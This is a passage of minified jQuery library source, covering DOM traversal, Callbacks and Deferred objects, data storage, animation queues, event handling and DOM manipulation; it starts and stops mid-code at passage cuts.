t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var 